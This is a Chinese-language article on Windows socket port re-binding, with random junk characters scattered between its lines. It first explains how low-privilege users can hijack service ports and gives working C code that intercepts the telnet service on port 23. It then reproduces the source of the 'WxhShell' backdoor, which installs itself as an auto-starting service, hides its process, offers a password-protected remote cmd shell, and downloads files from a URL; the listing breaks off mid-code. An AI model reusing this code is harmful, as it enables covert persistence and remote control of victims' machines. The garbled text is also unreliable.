在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
2"~8Z(0 s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
@ .KGfNu FPTK`Gd0 saddr.sin_family = AF_INET;
h7@6T+#WoT g
`4<9RMun saddr.sin_addr.s_addr = htonl(INADDR_ANY);
mVmGg, jFb?b6b bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
!o-@&q YbLW/E\T 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
$ulOp;~A% L=h'Qgk% 这意味着什么?意味着可以进行如下的攻击:
.sA.C]f 'ig'cRD6N 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
hzC>~Ub5 PRT +mT 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
{: W$LWET Vz[C=_m 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
M:V_/@W. @|)Z"m7 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
L8n|m!MOD qY#6SO`_iy 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
D#z:()VT( FgI3 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
?hM64jI| (I}v[W 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
j~QwV='S Qei"'~1a #include
{ "E\Jcjl\ #include
RGX=) #include
c"xK`%e #include
\(T/O~b2 DWORD WINAPI ClientThread(LPVOID lpParam);
,=N.FS int main()
k+4#!.HX^ {
rN{ c7/| WORD wVersionRequested;
07 $o;W@ DWORD ret;
#D|p2L$ WSADATA wsaData;
|)G<,FJQE_ BOOL val;
Xry47a
) SOCKADDR_IN saddr;
%07SFu# SOCKADDR_IN scaddr;
l@:0e]8|o int err;
V1JIht>Opo SOCKET s;
.{KVMc SOCKET sc;
=rK+eG#, int caddsize;
8.~kK<)! HANDLE mt;
yOKI*.} DWORD tid;
abEmRJTmW wVersionRequested = MAKEWORD( 2, 2 );
Q3SS/eNP err = WSAStartup( wVersionRequested, &wsaData );
Y4( if ( err != 0 ) {
K4);HJ|= printf("error!WSAStartup failed!\n");
8x{'@WCG% return -1;
bYPK h }
'Z |mQZN saddr.sin_family = AF_INET;
I2^8pTLh <^uBoKB/f //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
bs'n+:X` <Ok3FE.K saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
VD\=`r)nT saddr.sin_port = htons(23);
e0 T\tc if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
A +)`ZTuO {
2Wb]4- printf("error!socket failed!\n");
#5j\C+P}| return -1;
a@*\o+Su }
K_-MYs. val = TRUE;
\^%}M!tan //SO_REUSEADDR选项就是可以实现端口重绑定的
)F2OT<]m, if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
@OHm#`~ {
$tS}LN_!
printf("error!setsockopt failed!\n");
}iuw5dik+ return -1;
I!?}jo3 }
&!
?eL //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
<"|,"hA //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
GM<-&s!Uj //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
Wxe0IXq3Nn OBAi2Vw if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
&8 x-o, {
B93+BwN>95 ret=GetLastError();
vZoaT|3
G] printf("error!bind failed!\n");
eGHaY4| return -1;
+ ?!(G}5 }
0K2`-mL listen(s,2);
C2Tyoza while(1)
o0vUj {
_ORvo{[: caddsize = sizeof(scaddr);
;d9QAN&0} //接受连接请求
'08=yqy4N sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
I
2|Bg,e if(sc!=INVALID_SOCKET)
^v`\x5"Vp {
W{gb:^;zb mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
6i~WcAs if(mt==NULL)
e)O4^#i {
|H+Wed| printf("Thread Creat Failed!\n");
k)Qtfj}uij break;
680o)hh4m> }
:Zz
'1C }
N*&1GT#9 CloseHandle(mt);
xK\d4" }
e@OX_t_ closesocket(s);
9
|vLwQ WSACleanup();
\} :PLCKT return 0;
5o8EC"
0 }
d{7+w/Zi DWORD WINAPI ClientThread(LPVOID lpParam)
tC9n
k5~ {
Oo%d]8W SOCKET ss = (SOCKET)lpParam;
3kMf!VL SOCKET sc;
FG*r'tC~r unsigned char buf[4096];
ilx)*Y SOCKADDR_IN saddr;
t1y4 7fX6 long num;
)TH@#1 DWORD val;
0=E]cQwh DWORD ret;
$H>W|9Kg, //如果是隐藏端口应用的话,可以在此处加一些判断
s}% M4 //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
P}7 'm
M saddr.sin_family = AF_INET;
fx>4 saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
p"ZG%Ow5Q] saddr.sin_port = htons(23);
w=J3=T@TD if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
:A'y+MnK< {
';=O 0)u printf("error!socket failed!\n");
'(L7;+E return -1;
e;}7G }
Ak"m 85B val = 100;
KNIn:K^/ if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
QW(Mz Hg {
fDU!~/# ret = GetLastError();
~1vDV>dpE return -1;
[^98fAlz6 }
7Da` if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
}2<7%FL {
SJ>vwmA4 ret = GetLastError();
d,n 'n return -1;
[e}]}t8m }
(c
&mCJN if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
8C9-_Ng` {
DX
K?Cv71z printf("error!socket connect failed!\n");
<;Zmjeb+# closesocket(sc);
(rm?jDm closesocket(ss);
I75DUJqy] return -1;
o="M }
-fHy-Oh while(1)
8&`LYdzt {
J,y[[CdH` //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
wyO4Y //如果是嗅探内容的话,可以再此处进行内容分析和记录
}oGA-Qc}B //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
y ~!Zg}o num = recv(ss,buf,4096,0);
'Xq|Kf ( if(num>0)
o]M5b;1 send(sc,buf,num,0);
DwE[D]7o else if(num==0)
8i#2d1O break;
!58@pLJw num = recv(sc,buf,4096,0);
!\.pq 2 if(num>0)
]*[ 2$ send(ss,buf,num,0);
XG{zlOD+ else if(num==0)
&H/'rd0M break;
D (?DW}Rqs }
iN8zo:&Z closesocket(ss);
A!WKnb_` closesocket(sc);
Lhb35;\ return 0 ;
* kDC liL }
IE/^\ M ieCEo|b )g#T9tx2D ==========================================================
GqaCj^2f G.a b ql 下边附上一个代码,,WXhSHELL
]tRu2Ygf dufu|BL|} ==========================================================
Ata:^qI :hk5 .[ #include "stdafx.h"
Y;^l%ePuW 3>`mI8$t #include <stdio.h>
}" %?et( #include <string.h>
EGU
0)< #include <windows.h>
SdxDa #include <winsock2.h>
hxd`OG<gF #include <winsvc.h>
94.DHZqh #include <urlmon.h>
DJ [#5h5 BdblLUGK# #pragma comment (lib, "Ws2_32.lib")
nIy}#MUd|q #pragma comment (lib, "urlmon.lib")
Y}|X|!0x vJc- 6EO #define MAX_USER 100 // 最大客户端连接数
'RYIW/a #define BUF_SOCK 200 // sock buffer
`1{ZqRFQ #define KEY_BUFF 255 // 输入 buffer
MSqVlj q" sed] #define REBOOT 0 // 重启
]e>w}L(gV #define SHUTDOWN 1 // 关机
%JD,$pPs dkBIx$t #define DEF_PORT 5000 // 监听端口
4,gK[ dc H-*yh! #define REG_LEN 16 // 注册表键长度
*>'V1b4} #define SVC_LEN 80 // NT服务名长度
P& -Qc <~'"<HwtK // 从dll定义API
`WFw3TI typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
f:|1_ j typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
J1RJ*mo7, typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
J76kkW`5 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
QIvVcfM^ {e9@- // wxhshell配置信息
JZ*/,|1}EC struct WSCFG {
ju8q?Nyhs int ws_port; // 监听端口
6x[}g char ws_passstr[REG_LEN]; // 口令
A _
N;
int ws_autoins; // 安装标记, 1=yes 0=no
ZC`wO%, char ws_regname[REG_LEN]; // 注册表键名
JNYFD8J~ char ws_svcname[REG_LEN]; // 服务名
lC("y'
:: char ws_svcdisp[SVC_LEN]; // 服务显示名
e~[/i\ char ws_svcdesc[SVC_LEN]; // 服务描述信息
1;r|g)VM char ws_passmsg[SVC_LEN]; // 密码输入提示信息
[-k int ws_downexe; // 下载执行标记, 1=yes 0=no
x_6[P2"PP char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
?o4C; char ws_filenam[SVC_LEN]; // 下载后保存的文件名
2%@4] pW@Pt 3u };
wb5baY9 tip+q d // default Wxhshell configuration
,+vy,<e& struct WSCFG wscfg={DEF_PORT,
R_ ,U Mt "xuhuanlingzhe",
2U\u4NO{ 1,
K'Tm_"[u "Wxhshell",
," Wr" "Wxhshell",
I{9QeRI "WxhShell Service",
>WQMqQ^t@ "Wrsky Windows CmdShell Service",
NI}yVV "Please Input Your Password: ",
&<5zqsNJ\a 1,
wh\}d4gN "
http://www.wrsky.com/wxhshell.exe",
Ng>5?F^v "Wxhshell.exe"
l7259Ro~ };
7BjJhs (Hz^)5(~ // 消息定义模块
ZaDyg"Tw+ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
# 448-8x char *msg_ws_prompt="\n\r? for help\n\r#>";
C] eSizS. char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
4Lh!8g=/ char *msg_ws_ext="\n\rExit.";
eJVjuG char *msg_ws_end="\n\rQuit.";
B=yqW char *msg_ws_boot="\n\rReboot...";
YpZ+n*&+ char *msg_ws_poff="\n\rShutdown...";
fk[-mZ char *msg_ws_down="\n\rSave to ";
H*QIB_ #!qm ZN char *msg_ws_err="\n\rErr!";
c~$)UND^ char *msg_ws_ok="\n\rOK!";
o]` *M| @+M
/& char ExeFile[MAX_PATH];
4(~L#}:r! int nUser = 0;
.TR9975 HANDLE handles[MAX_USER];
?'#`
nx(! int OsIsNt;
!M]uL&: V!ZC( SERVICE_STATUS serviceStatus;
$L>@Ed< SERVICE_STATUS_HANDLE hServiceStatusHandle;
D>@I+4{p be{H$9' // 函数声明
3n1;G8Nf int Install(void);
]Svt`0|} int Uninstall(void);
1N^[.= int DownloadFile(char *sURL, SOCKET wsh);
z8~NZ;A int Boot(int flag);
\oXpi$ void HideProc(void);
+p_CN*10H int GetOsVer(void);
pb?c$n$u* int Wxhshell(SOCKET wsl);
`PdQX.wN void TalkWithClient(void *cs);
NP#w+Qw int CmdShell(SOCKET sock);
yAs>{6%- int StartFromService(void);
*{@Nq=fE int StartWxhshell(LPSTR lpCmdLine);
u\x}8pn ='sHj4hU VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
*@r/5pM2} VOID WINAPI NTServiceHandler( DWORD fdwControl );
69?wc! Un(aW=PQ0 // 数据结构和表定义
vNY{j7l/W SERVICE_TABLE_ENTRY DispatchTable[] =
ooL!TSGD {
Gg3,:A_ w {wscfg.ws_svcname, NTServiceMain},
g^2OkV( {NULL, NULL}
gX}8#O.K$ };
<#y[gTJ<'> yZ(zdM\/sL // 自我安装
gQelD6c int Install(void)
?|C2*?hZ+ {
H8^(GUhyp char svExeFile[MAX_PATH];
@* jz
o HKEY key;
e&F8m%t strcpy(svExeFile,ExeFile);
"a>q`RaIQ" 5 +YH.4R // 如果是win9x系统,修改注册表设为自启动
]^n7
if(!OsIsNt) {
N1S{suic if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
vq0Tk
bzs RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
gA+qC7=p$ RegCloseKey(key);
E`0? if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
UA0Bzoky; RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
r1m]HFN RegCloseKey(key);
]z;I_- return 0;
/?'FE 7Y }
#7$
H }
eIEeb,#i }
q&-`,8# else {
|`,2ri*5A \fr~ // 如果是NT以上系统,安装为系统服务
B=T'5& SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
nH'e?>x~e if (schSCManager!=0)
Z1f8/?`W {
D~fl JR SC_HANDLE schService = CreateService
b-?gw64# (
sPQQ"|wU schSCManager,
)0W{]2 wscfg.ws_svcname,
Apag{Z]^B wscfg.ws_svcdisp,
L>NL:68yN SERVICE_ALL_ACCESS,
sA/D]W.P SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
"]x'PI 4J SERVICE_AUTO_START,
Y%aCMP9j~9 SERVICE_ERROR_NORMAL,
=sU<S,a* svExeFile,
oUr66a/[U NULL,
-1_)LO&H NULL,
$q{!5-e NULL,
e8!5I,I NULL,
8oseYH NULL
")5":V~fN );
syj0.JD if (schService!=0)
l
-m fFN {
w"|L:8 CloseServiceHandle(schService);
!cLo>,4 CloseServiceHandle(schSCManager);
7\[@m3s strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
:T$|bc strcat(svExeFile,wscfg.ws_svcname);
=.U[$~3q% if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
q=m'^
,gPS RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
<C iSK! RegCloseKey(key);
$am$EU?s return 0;
t!X.|`h }
:zbQD8jv }
Hqx-~hQO CloseServiceHandle(schSCManager);
mzKiO_g} }
hJ? O],4J }
[`[|l
^_W#+>&-- return 1;
JPUW6e07o }
a:`E0}C 6=/F$| // 自我卸载
A#<? 4& int Uninstall(void)
-p-ZzgQ {
.},'~NM] HKEY key;
yNo0ubY *W1dG#Np} if(!OsIsNt) {
~?Pw& K2 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
6OIte-c RegDeleteValue(key,wscfg.ws_regname);
eA ?RK.e RegCloseKey(key);
fu ,}1Mq# if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
qkY:3Ozw RegDeleteValue(key,wscfg.ws_regname);
$G+@_' RegCloseKey(key);
~P,lz!he_ return 0;
,HV(l+k {| }
0<@KG8@hI; }
gzT*- }
<w9JRpFY else {
]
vsz,
0 &64h ;P< SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
(OL4Ex' ] if (schSCManager!=0)
S Lj!v&' {
$6 9&O SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
.
iI if (schService!=0)
wo/\]5 {
KC6.Fr{ if(DeleteService(schService)!=0) {
[kB7@o CloseServiceHandle(schService);
UHkMn CloseServiceHandle(schSCManager);
M h}m;NI return 0;
gO- _ }
OLGE !&!> CloseServiceHandle(schService);
7U"g3a)= }
2- h{N CloseServiceHandle(schSCManager);
gPO}d }
KYI/ }
U_Ptqqt% -f^tE,- return 1;
P4'Q/Sj }
I6av6t} p)-^;=<B3 // 从指定url下载文件
q3N
jky1w int DownloadFile(char *sURL, SOCKET wsh)
o#Dk&
cH {
ED( Sg HRESULT hr;
..5CC;B char seps[]= "/";
+ GN(Ug'R char *token;
]Q1yNtN char *file;
_6hQ %hv8 char myURL[MAX_PATH];
Gj?t_Zln char myFILE[MAX_PATH];
exUFS5d |aS.a&vwR strcpy(myURL,sURL);
@*XV`_!h token=strtok(myURL,seps);
4e7-0}0 while(token!=NULL)
Iyn(?w {
|SSSH
file=token;
/C:gKy4
token=strtok(NULL,seps);
s!zx}
5 }
G>}255qY gZXi]m& GetCurrentDirectory(MAX_PATH,myFILE);
AV]2euyn strcat(myFILE, "\\");
U'_Q>k strcat(myFILE, file);
ET*SB send(wsh,myFILE,strlen(myFILE),0);
Of#u send(wsh,"...",3,0);
O8r|8]o hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
pah'>dAL if(hr==S_OK)
t!l&iVWs return 0;
^[`%&uj!g else
|YWD8 + return 1;
G~a ZJ, {}przrU^c }
&Z@o Q RbnVL$c // 系统电源模块
N>`Aw^ _@& int Boot(int flag)
&6!)jIWJ {
vh%B[brUJ HANDLE hToken;
nR~@#P\ TOKEN_PRIVILEGES tkp;
T?0eVvM (5YM?QAd if(OsIsNt) {
(%6P0* OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
g$-PR37( LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
9.-S(ZO tkp.PrivilegeCount = 1;
C{rcs' tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
~ .g@hS8> AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
2F.;;Ab if(flag==REBOOT) {
M7~2iU<# if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
9cF[seE"0 return 0;
]%H`_8<gc }
q54]1TQ else {
tDcT%D {: if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
"(O>=F& return 0;
#trK^( }
=UQ3HQD }
Btn?N else {
vvMT}-! if(flag==REBOOT) {
!Ai@$tl[S if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
7JH6A'& return 0;
wwZ ,;\ }
$s:aW^k else {
\M^bD4';> if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
4+8@`f>s return 0;
g3y~bf }
@":
^)87 }
tyFzSrfc ^nz.j return 1;
KZE,bi:~ }
rb.N~ $UWZDD // win9x进程隐藏模块
6bC3O4Rw void HideProc(void)
x 9fip- {
ZY+qA ;A*]l'[- HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
?:q*(EC< if ( hKernel != NULL )
XRi8Gpg {
m:2^=l4 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
73;GW4, ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
CD~.z7,LC FreeLibrary(hKernel);
Xx:"4l.w. }
L="}ErmK $U~]=.n return;
m-, x<bM? }
PJH& rV#ch( // 获取操作系统版本
/U9"wvg int GetOsVer(void)
f]CXu3w(J {
VTE .^EK! OSVERSIONINFO winfo;
wmLs/:~ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
YS0<qSN GetVersionEx(&winfo);
^
Ze=uP if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
4tBYR9| return 1;
Q;rX;p^W else
NBGH_6DROw return 0;
kuP(r }
z
Iu'[U )SGq[B6@I // 客户端句柄模块
}|=|s f int Wxhshell(SOCKET wsl)
F )eelPZ+, {
4V`G,W4^J SOCKET wsh;
c^W)07-X5y struct sockaddr_in client;
a:w#s}bL DWORD myID;
=aW9L)8D %.|@]!C while(nUser<MAX_USER)
Km$\:Xo {
bk[!8-b/a int nSize=sizeof(client);
+I28|*K" wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
\9T7A& if(wsh==INVALID_SOCKET) return 1;
K$=zi}J W 6'f;-2 handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
#H~64/ if(handles[nUser]==0)
mC#>33{ closesocket(wsh);
0g8NHkM:2a else
y:uE3Apm nUser++;
gB33? }
+ZP7{% WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
i83OOV$1J f/?P514h return 0;
(tW`=]z-< }
BI@[\aRLQ S_H+WfIHV' // 关闭 socket
RViAwTvY void CloseIt(SOCKET wsh)
8}:nGK|kx {
h<QY5=SF closesocket(wsh);
V0mn4sfs nUser--;
]`WJOx4 ExitThread(0);
1'8YkhQ2a }
iy.\=Cs$N } Q+|W=2t // 客户端请求句柄
JBZ@'8eqi] void TalkWithClient(void *cs)
WcGS9`m/ {
JucY[`|JV y@yD5$/ SOCKET wsh=(SOCKET)cs;
8&dF char pwd[SVC_LEN];
\9EjClfo char cmd[KEY_BUFF];
#/37V2E char chr[1];
Fsg*FH7J int i,j;
F!K>K z lyhiFkO
iH while (nUser < MAX_USER) {
_aeBauD Vxt+]5X if(wscfg.ws_passstr) {
(QB2T2x if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
oXgcc*j //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
)+Pus~w //ZeroMemory(pwd,KEY_BUFF);
(/]
J3 i=0;
N'=gep0V@ while(i<SVC_LEN) {
'|=;^Z7.K zm;C\s rF // 设置超时
GC'O[q+ fd_set FdRead;
j'K/22 struct timeval TimeOut;
TA~{1_l FD_ZERO(&FdRead);
`Q,H|hp;k; FD_SET(wsh,&FdRead);
X}0cCdW TimeOut.tv_sec=8;
a8Wwq?@ TimeOut.tv_usec=0;
aw> #P int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
}Y4qS if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
8q7b_Pq1U HxI"
8A if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
c:.eGH_f pwd
=chr[0]; &%Tj/ Qx
if(chr[0]==0xd || chr[0]==0xa) { `M6)f?|$.
pwd=0; cB&:z)i4
break; zbPqYhJzA
} RD&PDXT4
i++; \73ch
} apxph2yvS
9gZ$
// 如果是非法用户,关闭 socket `r_/Wt{g
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); |ENh)M8}r
} Xn
;AZu^'R
>(RkZ}z
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); / XIhj
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); +ck}l2
.N(p=9
while(1) { i}?>g -(
Y<8vw
d
ZeroMemory(cmd,KEY_BUFF); /a o5FL
U/BR*Zn]*
// 自动支持客户端 telnet标准 Tm?# M&'
j=0; {(}By/_
while(j<KEY_BUFF) { Z/J y'$x
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); #$y?v%^
cmd[j]=chr[0]; T[A69O]v
if(chr[0]==0xa || chr[0]==0xd) { Ga'swP=hf
cmd[j]=0; WX0tgXl
break; ?z
u8)U
} jZ;
=so
j++; E4xa[iZ
} qIqM{#' ^
a.6(K
// 下载文件 @=kSo
-SX
if(strstr(cmd,"http://")) { as=LIw}Q4
send(wsh,msg_ws_down,strlen(msg_ws_down),0); %~S&AE-
if(DownloadFile(cmd,wsh)) nFs(?Rv*
send(wsh,msg_ws_err,strlen(msg_ws_err),0); @s^-.z
else #3d(M
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7VI*N)OZ8
} @\I#^X5lv
else { pb=h/8R
f y8Uk;
switch(cmd[0]) { *uvQ\.
)sp+8
// 帮助 FC"8#*x
case '?': { :eLVC7'
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); wec)Ctj+
break; lb1Xsgm{
} 2f_:v6
// 安装 s"?3]P
case 'i': { b>9>uC@J15
if(Install()) }:#P)8/v>%
send(wsh,msg_ws_err,strlen(msg_ws_err),0); =mmWl9'mJ
else b<u3 hln%,
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); HUO j0T
break; xn|(9#1o
} #cLBQJq
// 卸载 N)>ID(}F1
case 'r': { 5NLDYi@3
if(Uninstall()) yR.Ong
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 76` .Y
else L4?IHNB
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5rUdv}.
break; n?K
} ^/=KK:n~
// 显示 wxhshell 所在路径 k-""_WJ~^
case 'p': { 7j)8Djzp|
char svExeFile[MAX_PATH]; sUm'
strcpy(svExeFile,"\n\r"); 7T'B6`-Ox
strcat(svExeFile,ExeFile); r!{Up7uL
send(wsh,svExeFile,strlen(svExeFile),0); FU<Jp3<%
break; 7vj2
`+r.
} dGTsc/$
// 重启 :p6M=
case 'b': { gKCX|cULY
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); FNId;
if(Boot(REBOOT)) K 'I#W
lg
send(wsh,msg_ws_err,strlen(msg_ws_err),0); pFz`}?c0
else { 8sK9G`
k
closesocket(wsh); uA#;G/$
ExitThread(0); {cw /!B
} q6X1P"%.
break; #yvGK:F
} eQvg7aO;
// 关机 -o
EW:~y
case 'd': { 5QO9Q]I#_\
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Jqi%|,/] N
if(Boot(SHUTDOWN)) _oDz-
send(wsh,msg_ws_err,strlen(msg_ws_err),0); vgN&K@hJ
else { !FF U=f
closesocket(wsh); @!d{bQd,
ExitThread(0);
1ZB"EQ
} efE.&]
break; $]2vvr
} :S(ZzY
Q
// 获取shell "G9xMffW
case 's': { ?#Q #u|~
CmdShell(wsh); MR.'t9m2L
closesocket(wsh); 2T[9f;jM'
ExitThread(0); zs#@jv$
break; ;mKb]
} S?BG_J6A7
// 退出 4|#WFLo@
case 'x': { >~+ELVB&
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); {P#|zp 4C{
CloseIt(wsh); U\!X,a*ts{
break; CQDkFQq-dq
} -1ub^feJ,
// 离开 n>U5R_T
case 'q': { 6/dI6C!
send(wsh,msg_ws_end,strlen(msg_ws_end),0); Tkgs]q79
closesocket(wsh); IRqy%@)
WSACleanup(); 42ivT_H
exit(1); )TM4R)r%)9
break; i8HTzv"J
} 8Kk(8a&v
} DrK{}uM
} y Fq&8 x<X
;@E$}*3[>V
// 提示信息 LvYB7<zk>
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); -!]ZMi9
} ?p8_AL'RS
} >t_6B~x9
5rZ
return; t}tEvh
} t}/( b/VD
x`)&J
B
// shell模块句柄 ,L'zRyP
int CmdShell(SOCKET sock) YQA,f#
{ Q#[9|A9
STARTUPINFO si; W-lN>]5}m
ZeroMemory(&si,sizeof(si)); fZA4q0
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; :tv,]05t
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; nwCrZW
PROCESS_INFORMATION ProcessInfo; &W6^sj*k5U
char cmdline[]="cmd"; ."y1_dDql
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Bo%NFB;
return 0; ]~hk6kS8Q
} !0mI;~q| F
U}j0D2
// 自身启动模式 'F#KM1s
int StartFromService(void) B~Xw[q
{ mUF,@>o
typedef struct ~zNAbaC+>t
{ XAL1|]S
DWORD ExitStatus; iTU5l5U z
DWORD PebBaseAddress; (qulwOt~w
DWORD AffinityMask; sYf~c0${
DWORD BasePriority; O]1(FWYy
ULONG UniqueProcessId; t |A-9^t'!
